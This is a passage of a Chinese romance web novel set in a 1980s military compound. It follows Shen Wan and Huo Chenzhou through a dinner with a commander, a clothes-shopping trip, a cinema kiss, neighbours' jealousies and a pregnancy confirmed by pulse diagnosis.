杨雪梅也亲热地拉着沈晚的手："小沈，正好今天我买了条大鲤鱼，让你尝尝正宗的东北炖鱼。" 沈晚和霍沉舟对视一眼，霍沉舟沉思片刻，点头道："既然首长这么说了，咱就去吧。" 顾战正在楼下等待，一看见周卫国和霍沉舟一起走出来，立刻站得笔直敬礼："首长好！" 周卫国拍了拍他的肩："正好，小顾也在，一起去我们家吃饭吧。" 顾战受宠若惊："报告首长！这不合适吧？" 周卫国粗声粗气地打断他："大老爷们磨叽什么！我让你去就去。" 顾战立刻挺直腰板："是！谢谢首长！" 第五十二章 一起吃饭 周卫国有自己的司机，但一辆车坐不下这么多人，于是分成了两辆车。 周卫国和杨雪梅坐前车带路，霍沉舟、沈晚和顾战坐后车跟着。 周卫国的住处是师部大院最里面的一栋二层小楼，红砖灰瓦，门前种着几棵挺拔的松树。 车子驶过部队大院的主干道，路两边是整齐的白杨树，枝干上还挂着未化的积雪，不时有战士经过，看见首长的车都面露尊敬。 十分钟后，两辆车平稳停在小楼前，杨雪梅掏出钥匙打开房门。 屋内陈设简朴得让人意外，甚至不太符合周卫国的身份。 白墙上挂着几幅泛黄的老照片，褪色的木制家具擦得发亮，客厅中央摆着一张老式折叠圆桌，上面铺着洗得发白的格子桌布。 最值钱的恐怕就是墙角那台老式收音机了，连电视机都没有。 "都别拘束，随便坐。"杨雪梅招呼着。 周卫国从柜子里取出一个铁皮茶叶罐，得意地说："尝尝，这是我闺女上次从京市给我带回来的好茶叶。" 他动作娴熟地烫杯、投茶、冲泡，茶香顿时弥漫整个房间。 顾战接过茶杯，正口渴得紧，仰头就灌了大半杯："好喝！" 这豪迈的喝法把众人都逗笑了。 沈晚接过茶杯，先凑近闻了闻茶香，又浅尝一口："首长，这是明前碧螺春吧？芽头细嫩，回甘清甜，确实是好茶。" 周卫国惊讶地看着她："小沈还懂茶？" 沈晚谦虚地笑笑："略懂一点。" 周卫国眼带欣赏地看着沈晚，心想沉舟这小媳妇懂得可真多。 霍沉舟虽然不懂茶，但坐在一旁看着沈晚和周卫国相谈甚欢的样子，嘴角不自觉微微上扬。 沈晚的视线突然被旁边五斗柜上的一张老照片吸引。 那是一张泛黄的黑白结婚照，照片里年轻的周卫国穿着笔挺的军装，杨雪梅则是一身朴素的列宁装，胸前别着朵绢花。 两人并肩而立，虽然照片已经褪色，但那份真挚的幸福依然透过岁月扑面而来。 "这是首长和嫂子结婚时的照片吧？"沈晚轻声问道。 周卫国顺着她的目光看去，眼神顿时柔和下来："是啊，那会儿刚打完仗，条件艰苦，连件像样的婚纱都没有。" 他像是陷入了回忆：“那时候我才二十五岁，你嫂子比我小两岁。那会儿我刚升连长，穷得叮当响，连结婚都是借的战友房子。” 杨雪梅端着水果从厨房出来，听见这话嗔怪道："老头子又在跟小辈们忆苦思甜呢？" 沈晚看着这对相濡以沫的老夫妻，心里突然升起一丝羡慕。 她下意识看向霍沉舟，却发现男人也正望着她，四目相对，两人都有些不自在地别开视线。 杨雪梅把果盘放在桌上，里面摆着冻梨、冻柿子和几个红彤彤的苹果："小沈，别客气，这冻梨可甜了。" 沈晚轻声道谢，拿起一个冻柿子小口品尝。 杨雪梅又看向顾战："小顾，听说你也快结婚了？" 顾战憨厚地挠挠头："是，我和琴杉十八岁就定亲了，现在我都二十三了，家里长辈都催我们结婚呢。" 杨雪梅点点头，随即有点遗憾地说："年前不是听说你和那姑娘要掰了吗？我还想把我闺女介绍给你呢，现在看是没机会了。" 周首长闺女在京市外贸局工作，顾战见过几次。 那姑娘留着利落的短发，说话做事雷厉风行，一身正气，看着就英姿飒爽。 顾战连忙摆手："杨主任，您闺女太优秀了，我配不上她。" 几人聊了一会，眼看要到饭点了，杨雪梅起身围上围裙：“你们聊，我去做饭。” 沈晚不好意思让杨雪梅一个人做饭，连忙站了起来：“杨主任，我和你一起吧。” 杨雪梅愣了一下，看了一眼丈夫的眼色，然后答应了：“好，那你来给我打下手吧。” 进了厨房，沈晚很有眼力见地抓起菜筐里的土豆："主任，要用土豆吗？我帮您削土豆皮吧。" “要用，你削吧，辛苦你了小沈。” 沈晚抿嘴笑笑：“不辛苦。” 她动作麻利，三两下就把土豆削得干干净净，又拿起菜刀开始切丝，刀工又快又匀。 杨雪梅冲她比了个大拇指："小沈，你这手艺可以啊！" 杨雪梅一边往锅里下着酸菜，一边试探地问："小沈，你现在和沉舟相处得怎么样？" 沈晚手上切土豆丝的动作不停："挺好的。" 杨雪梅又撒了把干辣椒，若有所思地"噢"了一声："那你有没有什么未来的打算？" 沈晚如实回答："赚钱。" 杨雪梅惊讶地看了她一眼：“就只有这个？” 沈晚把切好的土豆丝泡进清水里，抬头笑道："嫂子是想问我和霍沉舟的事吧？" 杨雪梅被戳破心思，也不尴尬，爽朗地笑起来："你这丫头，倒是通透。我是想着，既然你们俩相处的挺好的，不如别离婚了，趁你们还年轻，还能再要个孩子。" 沈晚被杨雪梅直白的话说得耳根一热："主任，这些事都是没准的。" 杨雪梅到底是过来人，一看沈晚这反应，心里顿时有了底。 她笑眯眯地继续切菜，不再多问。 两人配合默契，除了炖鱼外，还做了红烧排骨、酸菜粉条和凉拌三丝。 杨雪梅还特意教沈晚做了道东北特色菜——地三鲜，土豆、茄子和青椒在油锅里翻炒，香气四溢。 很快，厨房里飘出的香味就勾得客厅里的男人们坐不住了。 顾战忍不住深吸一口气："好香啊！好像闻到了红烧排骨的香味。" 周卫国笑着打趣："你小子，鼻子倒是挺灵。" 杨雪梅和沈晚先后端着菜出来，两人来回几趟，很快就把圆桌摆得满满当当。 "开饭吧！"杨雪梅解下围裙，招呼众人入座。 等到周卫国和杨雪梅动筷后，其他人才敢夹菜。 顾战先夹了块排骨，烫得直哈气也舍不得吐出来："唔...太好吃了！" 沈晚盛了碗米饭递给霍沉舟，小声道："你尝尝这个地三鲜，我刚跟嫂子学的。" 霍沉舟接过碗，低头尝了一口，认真评价："好吃。" 简单的两个字，却让沈晚心里甜滋滋的。 第五十三章 逛街买衣服 两人之间那亲密的氛围，在场的人估计除了本人都能感受到。 吃完饭，杨雪梅和周卫国把三人送到门口，嘱咐他们路上慢点。 上车后，顾战主动提议："团长，嫂子，今天时间还早，要不然去镇上看场电影？听说最近新上了个《庐山恋》，可火了！" 沈晚听到他重新喊自己嫂子，先是一愣，但是又不好点名，不然显得自己多在意这个称呼似的。 霍沉舟看了眼沈晚："想去吗？" 沈晚还没回答，顾战就抢着说：“去吧去吧，正好我们两家一起去看。” 沈晚眨了眨眼：“苏琴杉也要去？” 还真不是沈晚针对苏琴杉，她是真心不想和这朵白莲花多相处，一起出门指不定要整出什么幺蛾子来，想想就头疼。 顾战却完全没往这方面想："嫂子，你别担心，等到了镇上，咱们两家就互不干扰，不会打扰你和团长的二人世界的。" 沈晚哭笑不得："你这想哪去了？我不是这个意思。" 霍沉舟在一旁挑了挑眉，似笑非笑地看着沈晚窘迫的样子，他当然知道自家媳妇在顾虑什么，但就是故意不点破。 "那就去吧。"沈晚最终妥协道。 见沈晚终于答应要去了，顾战便先把车开回去接苏琴杉。 苏琴杉听说要和沈晚一起去镇上看电影，立刻翻箱倒柜地挑衣服。 她穿了一件红格子呢子大衣，里面是米色羊毛衫，这是她前几天特意托人从省城买来的最新款式，腰间还配了条棕色皮带，显得腰身格外纤细。 她耽误的时间有点长，顾战忍不住催促道："琴杉，团长和嫂子还在等我们呢！" 苏琴杉对着镜子最后抹了点口红，白了他一眼："你懂什么？我这也是给你涨面子啊。" 她又梳了两条乌黑的麻花辫，戴上毛茸茸的白色耳罩，脚上蹬着一双锃亮的小皮靴，这身打扮既时髦又不失清纯。 苏琴杉像只骄傲的孔雀，抬起下巴坐上副驾驶。一上车就转头对后座的霍沉舟甜甜一笑："霍团长好~" 霍沉舟只是微微颔首。 苏琴杉不经意地瞥了眼沈晚，素面朝天，穿着半旧的棉袄。 她眼底闪过一丝得意，看来霍团长对她也不怎么样嘛，连件新衣服都舍不得买。 沈晚看着苏琴杉那副小人得志的模样，实在想不通她的优越感从何而来。所幸顾战车技不错，很快就到了镇上的红星电影院。 下车后，顾战买好电影票，最近的一场还要等二十分钟。 苏琴杉立刻拉着顾战："阿战，咱们去旁边的百货大楼逛逛吧！" 等两人进去后，霍沉舟若有所思地看向沈晚："阿晚，你不想去逛逛百货大楼吗？我带你去买几件衣服吧。" 沈晚低头看了看自己的穿着，这才明白苏琴杉刚才那得意的眼神是什么意思。 她怎么会不爱美？ 只是穿书后一直没时间打扮自己。既然霍沉舟主动提了，她当然不会拒绝。 "好。"沈晚笑吟吟地答应，眼睛弯成了月牙。 两人肩并肩走进百货大楼，立刻引来不少惊艳的目光。 霍沉舟一身笔挺军装，高大挺拔，英俊的面容透着不怒自威的气势；沈晚虽然穿着朴素，但精致的五官和出众的气质丝毫不减。 "快看那对！"一个扎着麻花辫的姑娘拽着同伴小声说，"男同志真精神，女同志也漂亮，跟电影明星似的！" "可不是嘛，"同伴附和道，"一看就是部队里的干部，气质就是不一样。" 然而另一个长相普通、还有点地包天的女生却撇了撇嘴："你没看见那个男的走路有点瘸？" 她酸溜溜地说，"我看那女的就是图人家津贴高，才死皮赖脸跟着的。" 她同伴惊讶地捂住嘴："啊？不能吧？" "这有什么不能的，"地包天女生翻了个白眼，"现在的小姑娘，为了钱什么事干不出来？你看她穿得那么寒酸，肯定是乡下人，好不容易攀上个军官，可不得抓紧了？" 这些话一字不落地飘进霍沉舟耳朵里，他眼神一冷，正要转身，却被沈晚轻轻拉住。 "别理她们。" 好不容易出来玩一趟，沈晚不想为无所谓的人消耗好心情。 霍沉舟也是突然意识到自己确实太忽略沈晚了。 所以一来到二楼的"东方红"服装柜台，他就开始按照自己的审美给沈晚挑衣服。 "这件列宁装不错，"他拿起一件藏蓝色的工装外套。 沈晚看着那件老气横秋的外套，嘴角抽了抽："霍团长，您这是要给我挑工作服吗？" 霍沉舟皱了皱眉，又拿起一件土黄色的棉袄："这件呢？耐脏。" 柜台售货员忍不住笑出声："同志，你对象这么漂亮，应该试试这件。" 她取出一件枣红色的呢子大衣，"这是上海来的最新款，可抢手了。" 这件沈晚倒是很喜欢，她接过后在身上比了比，问霍沉舟：“好看吗？” 霍沉舟看着面前比划着大衣的沈晚，枣红色的呢料衬得她肌肤如雪，杏眼里闪着期待的光，红唇微微上扬，整个人鲜活又明媚。 他喉结不自觉地滚动了一下："好看，穿上试试吧。" 沈晚点点头，拿着衣服去了试衣间。 几分钟后，试衣间的门帘被轻轻掀开。 霍沉舟抬头望去，呼吸顿时一滞—— 沈晚穿着合身的枣红色大衣缓步走来，收腰的设计勾勒出纤细的腰线，衣摆随着她的步伐轻轻摆动，她将长发拨到一侧，露出白皙的脖颈，整个人散发着优雅又知性的气质。 "怎么样？"沈晚在他面前转了个圈，大衣下摆划出漂亮的弧度。 霍沉舟的视线像是被黏住，喉咙有点发紧："很适合你。" 柜台售货员也看呆了："天呐，这衣服简直是为您量身定做的！" 沈晚对着镜子照了照，也很满意："那就这件吧。" 霍沉舟拦住她："不急，再挑两件。" 热情的售货员立刻又推荐了几套衣服：一件米色高领毛衣配藏青色毛呢半裙，一件驼色羊绒大衣，还有一条搭配的花色围巾。 不得不说，这位售货员眼光很好，每件衣服都完美衬托出沈晚的气质。 第五十四章 看电影 沈晚刚要说"就这些吧"，不远处突然传来一道娇滴滴的声音："阿战，我想看看那件大衣。" 抬眼看去，苏琴杉正指着和她身上同款大衣，而旁边的顾战已经大包小包提满了东西。 苏琴杉也注意到了沈晚，在看清她身上的大衣后，笑容瞬间僵在脸上。 苏琴杉今天也特意穿了件红色大衣，本来自信满满，觉得能把沈晚比下去。 可现在两人站在一起，高下立判——沈晚身材高挑，那件枣红色大衣衬得她肤白如雪，气质出众；而自己这身打扮，在对比下显得又土气又廉价。 偏偏这时售货员还补了一刀："同志，这件大衣版型偏长，身高一米六五以下的穿着容易压个子。" 她上下打量了苏琴杉一眼，"您要是实在喜欢，我可以拿件小号的给您试试，不过效果可能……" 苏琴杉气得差点吐血。 她身高才一米五八，比沈晚整整矮了一个头！ 顾战连忙劝道："琴杉，要不然咱换一件？我看那件浅粉色的也挺好看..." 苏琴杉不甘心地跺脚："不！我就要试这件！"她转向售货员，"给我拿件小号的！" 售货员微笑着点头："好的，您稍等。" 沈晚看着顾战手里的大包小包，好奇地问："顾营长，这都是买了什么啊？" 顾战憨厚地笑了笑："都是琴杉喜欢的。有雪花膏、护肤霜，还有她最爱吃的京八件点心……" 沈晚听完皱了皱眉。 这些东西加起来少说也得五六十块钱，顾战虽然是营长，但一个月津贴也就七八十，这一趟怕是花了大半月的工资。 霍沉舟显然也是想到了这点，虽然给未婚妻花钱天经地义，但顾战老家还有个身体不好的老母，一个年迈的父亲，还有两个弟弟妹妹。 全家就靠顾战一个人的津贴过日子，每个月他都得寄钱回家。 这一趟买了这么多东西，下半个月的日子怕是要难过了。 然而苏琴杉还浑然不觉，亲昵地挽着顾战的胳膊炫耀："我家阿战太宠我了~" 这时售货员拿着小码大衣过来，苏琴杉一把抢过冲进试衣间。 等她从试衣间出来时，售货员差点没忍住笑出声。 明明是同款，穿在沈晚身上是优雅知性，到她这里却显得臃肿土气，衬得她肤色更加暗黄。 苏琴杉对着镜子左看右看，心里升起几分嫉恨，明明是一样的衣服，怎么穿在自己身上就这么难看？ 顾战及时解围："琴杉，电影快开始了，咱们赶紧走吧。" 苏琴杉应了一声，赶紧把大衣脱下来丢给售货员："这衣服做工不行，我不要了。" 售货员翻了个白眼，小声嘀咕：“人不行还要怪衣服。” 另一边，沈晚轻声招呼道："同志，麻烦帮我们算算这几件多少钱？" 售货员一看到沈晚，脸色立刻由阴转晴："好嘞！两件大衣八十元，毛衣十八元，半裙二十二元，围巾八元，总共一百二十八元。" 沈晚被这价格惊到了，好贵，她正犹豫着要不要少买一点的时候，霍沉舟已经二话不说掏出钱包，数出十三张大团结。 苏琴杉远远看到这一幕，嫉妒得眼睛都红了，没好气地掐了一下顾战。 顾战疼的呲牙咧嘴：“琴杉，咋了？” 苏琴杉心里有苦又说不出，为什么沈晚能嫁给团长过这么好的日子？自己只能嫁给一个小小的营长，买点东西都要精打细算。 买衣服耽搁了时间，等霍沉舟和沈晚赶到电影院时，电影已经开场一分钟了。 整个放映厅黑漆漆的，只有银幕上闪烁的光影。 两人摸黑找座位，沈晚一个没注意，脚下被台阶绊住，整个人向前栽去—— 霍沉舟结实的手臂一把揽住她的腰，将她稳稳接住。 "让一让！别挡路！"后面的人不耐烦地催促。 沈晚只好窝在霍沉舟怀里，任由他半搂半抱地带自己往前走。 黑暗中，她能清晰地感受到男人胸膛的温度，还有那强而有力的心跳声。 好不容易找到座位，沈晚如释重负地坐下，她想把手从霍沉舟掌心里抽出来，却被他反手扣得更紧。 沈晚咬了咬下唇，凑到他耳边轻声道："松开我。" 湿热的呼吸裹挟着淡淡馨香，像羽毛般拂过霍沉舟的耳廓，霍沉舟只觉得一股电流从耳尖窜向全身，连带着握她的手都不自觉收紧了几分。 "不放。"他压低嗓音，薄唇几乎贴上她耳垂。 荧幕光影变幻间，霍沉舟看着小女人精致的侧脸，长睫如蝶翼般轻颤，鼻尖翘起一道柔和的弧度，樱唇微微张着。 鬼使神差地，他的唇从沈晚耳边移开，轻轻落在她柔软的唇角。 沈晚正专注地看着荧幕，突然感到脸颊传来温热的触感，那柔软又带着些许粗粝的触感让她浑身一僵，心跳陡然加快。 她大脑一片空白，那是霍沉舟的唇吗？ 他亲她了？ 沈晚抬手捂住被亲过的地方，转头看向霍沉舟，撞进一双深邃如墨的眼眸里。 霍沉舟也没想到自己会做出这样的举动，但看着她慌乱的样子，心里反而升起一股满足感。 她因为自己的吻害羞了。 他若无其事地靠回座位，握着她的手道："专心看电影。" 沈晚哪里还看得进去电影？银幕上在演什么她完全不知道，满脑子全是——霍沉舟亲她了！ 直到电影散场，刺眼的灯光骤然亮起，霍沉舟这才松开她的手。 两人随着人流往外走，走到停车的地方时，顾战和苏琴杉已经在车上等着了。 顾战冲霍沉舟挤眉弄眼："团长，电影好看不？" 霍沉舟面不改色："还不错。" "嫂子觉得呢？"顾战又转向沈晚。 沈晚压根没注意电影演了什么，勉强扯了扯嘴角："还行。" 车子启动后，苏琴杉又摇了摇顾战的胳膊："阿战，我饿了，刚才看见那边有国营饭店，咱们去吃好吃的吧。" 顾战面露难色："可是小川还在托儿所等着呢。" 苏琴杉不满地撅起嘴："我想吃嘛，就一会儿，耽误不了多少时间。" 第五十五章 接小川放学 沈晚看到顾战为难的样子，提议道："这样吧，我们去国营饭店打包饭菜带回去，正好晚上也不用做饭了。" 顾战感激地看了沈晚一眼："还是嫂子想得周到！" 苏琴杉暗暗咬牙，却又不好发作："那也行吧。" 顾战方向盘一打，车子稳稳停在了国营饭店门前，门口挂着"红星国营饭店"的木牌，玻璃窗上贴着今日供应的菜单。 一进门，扑面而来的是饭菜的香气和嘈杂的人声。大厅里摆着十几张圆桌，几乎座无虚席，服务员穿着白围裙穿梭其间，墙上贴着"为人民服务"的红色标语。 霍沉舟护着沈晚避开拥挤的人群，低头问道："想吃什么？" 沈晚仰头看着墙上的菜单："要一个红烧肉，一个风味茄子，再给小川要份鸡蛋羹吧。"她转头看向顾战，"你们呢？" 苏琴杉立刻抢着说："我们要糖醋鲤鱼、红烧排骨，再来个酱牛肉！"她专挑贵的点，眼睛都不眨一下。 顾战没有犹豫，对服务员说："那就这些吧。"他从口袋里掏出钱，想连沈晚点的一起付了。 沈晚连忙拦住他："不用了，我们自己来。" 顾战笑笑："没事的嫂子，这些不贵。" 霍沉舟沉声道："各付各的。" 他直接掏出钱递给服务员，"再加三碗米饭。" 霍沉舟都这么说了，顾战只好作罢，只付了自己那份。 苏琴杉点的糖醋鲤鱼3块2、红烧排骨2块8、酱牛肉3块5，加起来足足9块5，抵得上普通工人小半个月工资了。 回到部队时已近四点，车子直接停在了托儿所门口。 霍沉舟主动道："我去接小川。"自从霍小川上学后，他还是第一次来接孩子放学。 沈晚便留在车上等着。 霍沉舟走到教室门口，透过窗户看见霍小川正端坐在小板凳上，认认真真地跟着老师念儿歌，小家伙摇头晃脑的样子格外可爱，小手还跟着节奏一摆一摆的。 霍沉舟眼底闪过一丝柔情。 霍小川一抬头看见爸爸，小脸顿时兴奋得红扑扑的，冲他使劲挥手。 霍小川骄傲地向身边的小朋友炫耀："快看，那是我爸爸！" 申耀祖不屑地抱胸："霍小川，你爸爸不是瘸子吗？" 霍小川哼了一声："我爸爸那是执行任务受的伤，现在已经快好了！他特别厉害，一个人打跑了十几个坏人！" 此时黄莹莹正从办公室出来，怀里抱着一摞图书，正往教室走去，路过霍沉舟时，突然脚下一滑，整个人向前栽去—— "小心。" 一只结实的手臂稳稳扶住了她。 黄莹莹惊魂未定地抬头，正对上一双深邃如墨的眼睛。 男人剑眉星目，鼻梁高挺，薄唇微抿，近看更是俊朗非凡，身上还带着淡淡的松木香。 黄莹莹瞬间涨红了脸，结结巴巴道："谢、谢谢……" 霍沉舟微微颔首，确认她站稳后立刻收回手。 黄莹莹站直后捋了捋耳边的碎发："同志，你是班上小朋友的家长吗？" 霍沉舟见她是老师，便点了点头："嗯，我是霍小川的爸爸。" 听到这个男人竟是霍小川的父亲，黄莹莹瞬间想到那个让她出糗的沈晚，凭什么那个贱女人能嫁给这么优秀的男人？ 她强压下嫉妒，故作关切的问：“听说您是团长，那平时一定很忙吧？之前都没见过您。” 霍沉舟简短回应：“嗯。” 察觉到男人的冷淡，黄莹莹仍不死心："霍团长，小川这孩子挺内向的，平时都不太和其他小朋友玩，我们托儿所下周正好有个亲子活动，您要是有时间，可以来参加参加，我们正好单独聊聊孩子的教育问题。" 霍沉舟眉心微蹙："亲子活动我有时间会参加，教育问题你可以和我爱人聊。" 黄莹莹闻言，故作犹豫地说："霍团长，说实话…我见过孩子妈妈几次，她对孩子好像挺不上心的,每次接送都是匆匆忙忙的。" 听出黄莹莹语气中的责怪，霍沉舟冷了脸："我前段时间受伤住院，家里大大小小的事都是我爱人一手操办的。她每天要照顾我、接送孩子、操持家务，我并没有看出她有哪一样是不上心的。" 黄莹莹被霍沉舟冷冽的气势吓得后背发凉，冷汗瞬间浸湿了后背，她张了张嘴想要辩解，喉咙却像被堵住一般发不出声音。 就在这时，放学的铃声响起。 几十个小朋友像欢快的小鸟般从教室里涌出来，叽叽喳喳的童声瞬间打破了凝重的气氛。 "爸爸！"霍小川第一个冲出来扑进霍沉舟怀里，男人冷峻的面容立刻柔和下来，单手稳稳接住儿子。 霍小川歪着小脑袋："爸爸，今天怎么是你来接我？妈妈呢？" 霍沉舟揉了揉儿子软软的头发："你妈在车上等着呢。" 临走前，霍沉舟最后警告地看了黄莹莹一眼，黄莹莹心有余悸地咽了口唾沫。 站在一旁目睹全程的刘所长瞟了黄莹莹一眼，等霍沉舟走远后才开口："我劝你别打那些歪主意。霍团长是咱们军区出了名的洁身自好，哪是随随便便一个女人都能往前凑的？" 黄莹莹嘴硬道：“所长，我没有。” 刘所长冷哼一声："我眼睛还没瞎。你要是还想在这干，就给我安分点。" 霍小川上车后，乖巧地喊了一声："顾叔叔好，婶子好！" 虽然上次苏琴杉弄坏了他的积木，但是既然已经赔了钱，那就没必要再计较了。 苏琴杉勉强扯了扯嘴角："小川好。" 顾战转身从脚下拿出一个精致的点心盒，递给霍小川："小川，听说婶子上次把你的积木弄坏了，这是百货商店新到的奶油曲奇，当做补偿赔给你好不好？" 苏琴杉在暗处揪了揪顾战的衣角，眼睛死死盯着点心盒，生怕霍小川真接了，她都赔过钱了，这傻子怎么还搭上一盒这么贵的进口点心？ 顾战并没有理会她的暗示，所幸霍小川没有接，懂事地摇摇头：“顾叔叔，我不要，妈妈说吃多了甜的会生虫牙。” 苏琴杉闻言连忙把点心盒接过去，干笑两声：“对对，小孩子还是要少吃甜。” 第五十六章 赵姐怀了？ 回到家，苏琴杉"砰"地一声把点心盒摔在桌上，没好气地说："我都赔钱了，你还想搭进去一盒这么贵的点心？我自己都舍不得吃呢！" 顾战诧异地看了她一眼："琴杉，你之前不是很大方的吗？对大院里的军属们都很好，怎么现在好像变了个人似的？" 苏琴杉一噎，总不能说自己之前都是装的吧？就是为了在部队里博个好名声。 她支支吾吾道："我这不是为了咱们以后的日子着想吗？这点心多贵啊……" 顾战无奈道："你要是心疼钱，下个月津贴发了，我再给你买。" 苏琴杉眼珠子转了转，想到前几天老家来的信，清了清嗓子："阿战。" 顾战随口应道："怎么了？" "咱俩要是结婚，你打算给我们家多少彩礼？" 顾战沉吟片刻，这个问题他还真没仔细想过。盘算了下自己的津贴和家里情况，他试探着说："琴杉，我能出两百块钱的彩礼。" "不行！"苏琴杉立刻拔高了声调，"二百块钱也太少了吧，我表姐去年嫁人，彩礼都要了五百呢！" 顾战叹了口气："琴杉，那你说想要多少钱？" "最少八百！"苏琴杉掰着手指算道，"还得有三转一响，缝纫机要蜜蜂牌的，自行车要永久的……" 顾战越听脸色越难看：“琴杉，你知道我一个月津贴多少吗？八百块钱我得攒两年。” 苏琴杉用食指狠狠戳着顾战的胸口："我们俩结婚，八百块钱你都不舍得花吗？" 顾战深吸一口气，强迫自己冷静下来："琴杉，这八百块钱不是你要的，是你家里要的吧？" 苏琴杉眼神闪烁了一下，随即扬起下巴："那又怎么样？我爸妈辛辛苦苦养我这么多年，要点彩礼不过分吧？而且我弟还等着这钱翻新房子结婚呢。" 顾战闻言，脸色彻底沉了下来。 他攥紧拳头，声音压抑着怒火："所以在你眼里，我们的婚姻就是你弟弟娶媳妇的垫脚石？" "你这话什么意思？"苏琴杉尖声道，"我嫁给你难道不该要点保障吗？谁知道你以后会不会变心！" 顾战苦笑一声："琴杉，咱们认识这么多年，我是什么人你不清楚吗？" 他疲惫地揉了揉太阳穴："如果结婚需要这么多钱，我们这婚可能结不了了。" 顾战说完转身就要走。 苏琴杉这下慌了，一把拉住他的袖子："阿战~" 她咬了咬唇，放软了声音，"我再写信和我爸妈商量商量，您先别急。" 顾战沉默地点了点头，他爱苏琴杉是真的，可拿不出那么多钱也是真的。 如果结婚需要掏空家底，让年迈的父母替他受苦，他做不到。 …… 李丽吃过晚饭，就拿着牙签坐在院子里和其他军嫂聊天。 孙秀芝一边纳鞋底一边调侃道："李丽，听说你和老王最近备孕呢？这结婚都十年了吧，还有这心思呢？" 李丽摸着平坦的肚子，仿佛里面已经揣了个宝贝："主要就想凑个好字嘛，儿女双全是最好的。" 她得意地晃了晃脑袋，"我婆婆特地去村里的老村医那给我开的方子，说喝了保准怀孕，说不定我这肚子里就已经有种了呢！" 孙秀芝叹了口气："要我说，一个孩子也挺好的。我家那个皮猴子整天上房揭瓦的，光他一个就够我折腾了，再来一个非得把我累趴下不可。" 李丽余光瞥见出来上厕所的赵晓燕，提高嗓门道："那当然了，总比不下蛋的母鸡强！" 孙秀芝赶紧朝李丽使了个眼色，示意她少说两句。 可李丽反而越说越起劲："赵晓燕，沈晚不是说能让你怀上孩子吗？这都多久了？你这肚子好像也没什么反应啊？" 赵晓燕懒得理她："李丽，嘴上积点德，给你家孩子攒点福报吧，少喝点什么乱七八糟的偏方，到时候怀不上孩子反倒把身子搞坏了。" 李丽对着她的背影啐了一口："呸！" 赵晓燕来到公厕，刚蹲下去，突然想起什么似的愣住了。 她掰着手指头算了算——上个月月初来过例假后，这个月都十七号了还没动静，整整推迟了十天！ 赵晓燕心跳突然加速，心里有了一种想法。 从厕所出来，她径直来到沈晚家里，边拍门边喊：“妹子，妹子。” 沈晚还以为赵晓燕出了什么急事，连忙打开门。 赵晓燕一进屋，看见霍沉舟在，匆匆点头打了个招呼，就拉着沈晚躲到卧室。 "妹子，我这个月例假推迟十天了还没来，是不是……？" 沈晚一听，立刻会意。 她拉过赵晓燕的手腕，三指轻轻搭上脉搏。 脉象滑利如珠，往来流利，应指圆滑——典型的"滑脉"之象。 赵晓燕紧张地盯着沈晚的表情，心跳快得几乎要蹦出胸腔，她死死攥着衣角，既期待又害怕，生怕又是空欢喜一场。 就在心脏快要跳到嗓子眼时，沈晚唇角微微一扬："确实是有了。" "真、真的？"赵晓燕声音发颤，眼泪瞬间涌了出来。 沈晚肯定地点头：“真的，但是脉象显示胎像还不太稳，需要多注意。这三个月要静养，别干重活，保持心情舒畅。平时多吃些红枣、核桃，我再给你开副安胎的药膳方子。” 赵晓燕只是泪中含笑地看着她。 沈晚疑惑地挑了挑眉："怎么了赵姐？" 下一秒，赵晓燕突然一把抱住她，声音哽咽："谢谢你，妹子……" 沈晚轻轻拍着她的背，心里也跟着发暖。 "快把这个好消息告诉张大哥吧，他一定得高兴死。" 赵晓燕这才如梦初醒，松开沈晚一抹眼泪："哎呦，差点把他忘了！我这就回家！" 她风风火火地要往外冲，却被沈晚一把拉住。 "慢着点，"沈晚哭笑不得，"你现在可不是一个人了，得小心些。" 赵晓燕不好意思地笑笑，放慢了脚步。 霍沉舟见赵晓燕笑容满面地从屋里出来，眼角眉梢都是掩不住的喜气。 聪明如他，心里顿时有了猜测，微微一笑："嫂子，恭喜。" 第五十七章 泼洗脚水 赵晓燕促狭道："霍团长这眼睛可真毒！你们两口子也加把劲啊，趁年轻给小川添个弟弟妹妹作伴多好！" 沈晚的脸"唰"地红了："嫂子，你可别乱说，就他这条腿，还是先好好养伤吧。" 赵晓燕下意识扫了眼霍沉舟的腿："也对也对，霍团长还是先养好伤要紧。" 沈晚没注意到，霍沉舟的眼神瞬间晦暗下来，盯着沈晚的目光像盯住猎物的狼。 男人慢条斯理地开口："阿晚说得对，现在确实不方便。" 赵晓燕回家后，张德志正蹲在煤炉前给赵晓燕熬药，苦涩的药味熏得他直揉鼻子。他一边扇着火，一边嘟囔着："晓燕，你说你天天喝这药有用吗？这药这么苦，实在不行咱别喝了。" 半天没等到回应，张德志疑惑地回头，却看见赵晓燕红着眼眶站在门口。 他顿时急了，丢下扇子就冲过去："你哭了？谁欺负你了？是不是院里那些婆娘又乱说话了？" 赵晓燕摇了摇头，眼泪却掉得更凶了。 张德志急坏了："那你到底怎么了？" 赵晓燕扬起一抹笑容，摸着小腹说："你要当爹了。" 张德志整个人僵在原地，嘴巴张得能塞进一个鸡蛋："你真的怀上了？沈同志真的把你治好了？" 赵晓燕娇嗔地捶了他一下："你之前还不信她。" "信信信，我这回真信了！"张德志笑得见牙不见眼，黝黑的脸上每一道褶子都洋溢着喜悦。 他突然一把抱起赵晓燕转了个圈，又赶紧小心翼翼放下，"哎呦我这傻劲！可不能伤着我闺女！" "万一是儿子呢？"赵晓燕抹着眼泪笑问。 "儿子闺女都一样！"张德志搓着手在屋里团团转，他激动得语无伦次，恨不得拿个大喇叭在操场上喊一圈，让全部队的人都知道他张德志终于要当爹了。 让赵晓燕躺在床上休息后，张德志揣上钱和粮票，风风火火地往服务社冲。 路上不小心撞到了刚回来的王强军，连道歉都顾不上说，只匆匆摆了摆手就继续往前跑。 王强军被撞得一个趔趄，纳闷地挠了挠头："这张德志吃错药了？火烧屁股似的。" 等他来到家门口，正好碰见沈晚在院子里松土。 他先抬手打了声招呼：“沈同志。” 对方立马笑吟吟地喊他："王大哥回来了。" 这声娇软清甜的招呼，听得王强军浑身一激灵，骨头都酥了半边。 他红着耳根应了声，心里暗想：霍团长每天过的这是什么神仙日子？家里有这么个娇滴滴的媳妇。他要是霍团长，绝对舍不得离婚，恨不得把命都给她，就算再作也愿意宠着。 晚上，王强军躺在炕上，一只胳膊枕在头下，还在回味着沈晚叫他的那声"王大哥"，心头痒痒的。 这时，李丽脱掉衣服挤进被窝，两只手在他身上乱摸："强军，咱们得抓紧了。" 王强军不耐烦地翻了个身："睡吧，明天还要早起。" 李丽不依不饶地贴上来：“你不配合我，就算有土方子也不顶用啊，我都和那个赵晓燕说了，我肯定能怀孕，你可不能让我丢脸。” 